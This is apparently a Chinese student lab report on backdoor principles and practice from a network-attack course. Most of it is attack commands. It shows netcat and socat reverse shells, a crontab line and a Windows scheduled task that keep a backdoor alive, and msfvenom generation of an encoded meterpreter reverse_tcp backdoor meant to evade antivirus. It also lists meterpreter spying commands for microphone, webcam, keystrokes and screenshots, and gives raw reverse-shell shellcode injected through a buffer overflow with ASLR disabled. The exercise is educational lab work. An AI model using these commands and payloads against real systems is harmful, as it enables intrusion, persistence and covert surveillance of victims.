标签:写入 问题 code conf 安全软件 机器码 组合 hot 了解
2.1.1 Win获得Linux Shell
在Windows下使用ipconfig查看本机IP

使用ncat.exe程序ncat.exe -l -p 5322打开监听,并检查windows和linux的连通性


在kali中反弹连接Windows,ncat 192.168.132.1 5322 -e /bin/sh,使用-e选项执行shell程序

windows下获得一个linux shell,可运行任何指令,如ls

2.1.2 Linux获得Win Shell
在kali中先安装net-tools,然后才能使用使用ifconfig命令查看IP

打开监听nc -l -p 5322

在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.132.138 5322

kali成功获得Windows的命令提示

*2.1.3 Mac获取Win shell
*2.1.4 Win获取Mac Shell
*2.1.5 Mac获取Linux Shell
*2.1.6 Linux获取Mac Shell
2.1.7 Netcat扩展知识
使用nc传输数据
ncat.exe -l 5322nc 192.168.132.1 5322
使用nc传输文件(将文件从kali传给Windows)

-p 使用的payload,payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e 使用的编码器,用于对shellcode变形,为了免杀。-i 编码器的迭代次数。如上即使用该编码器编码5次。-b badchar是payload中需要去除的字符。LHOST 是反弹回连的IPLPORT 是回连的端口-f 生成文件的类型> 输出到哪个文件crontab -e指令增加一条定时任务,-e表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是3最后一行添加58 * * * * /bin/netcat 192.168.132.1 5322 -e /bin/sh,意思是在每个小时的第58分钟反向连接Windows主机的5322端口

linux在58分钟时连接windows,这是一个反弹连接式后门,监听的windows连接后可获得shell

我的电脑,点击管理点击任务计划程序,再点击创建任务

填写任务名,新建一个触发器

新建操作,并在程序或脚本中选择socat.exe路径,添加参数一栏填写tcp-listen:5322 exec:cmd.exe,pty,stderr

创建好后显示任务准备就绪

到达21:25后,再次打开时,可以发现创建的任务正在运行

自行弹出一个cmd窗口

在kali中输入输入指令socat - tcp:192.168.132.1:5322,完成连接,获得windows shell

linux使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.138 LPORT=5322 -f exe > backdoor5322.exe生成后门程序

windows使用ncat.exe -lv 5322 > backdoor5322.exe,查看连接状态

linux使用nc 192.168.132.1 5322 < backdoor5322.exe传输后门程序,传输成功后windows会给出提示

传送接收文件成功

msfconsole进入msf控制台,并键入以下命令:使用监听模块,设置payload:use exploit/multi/handler
使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp
linux的IP地址:set LHOST 192.168.132.138
使用相同的端口:set LPORT 5322
查看设置:show options
进入msf控制台后的界面:

输入指令后的界面:

linux使用exploit开始监听,并在windows中运行后门程序,linux成功获得windows的shell


使用record_mic指令可以截获一段音频

使用webcam_snap指令可以使用摄像头进行拍照

使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键记录

使用screenshot指令可以进行截屏

使用getuid指令查看当前用户,使用getsystem指令进行提权操作

linux/x86 - Reverse下载反弹连接的shellcode并提取其中的机器码:\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
linux使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

perl生成的字符串存储到文件input_shellcode中:perl -e 'print "A"x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode

打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf,再开另外一个终端使用ps -ef | grep pwn1找到pwn1的进程号,之后启动gdb使用attach调试,使用disassemble foo查看ret的地址,设置断点,然后在另外一个终端中按下回车,再在gdb输入c继续运行


使用info r esp查看栈顶指针所在的位置,并查看改地址存放的数据

存放的地址为0xffffd38c,计算出shellcode地址就是0xffffd38c+4,即0xffffd390
在另一个终端修改input_shellcode并使用cat input_shellcode;cat) | ./pwn1运行pwn1文件

另一个终端得到shell开始运行

2019-2020-2 20175322周弋鸿《网络对抗技术》Exp2 后门原理与实践
标签:写入 问题 code conf 安全软件 机器码 组合 hot 了解
原文地址:https://www.cnblogs.com/zyh5322/p/12516752.html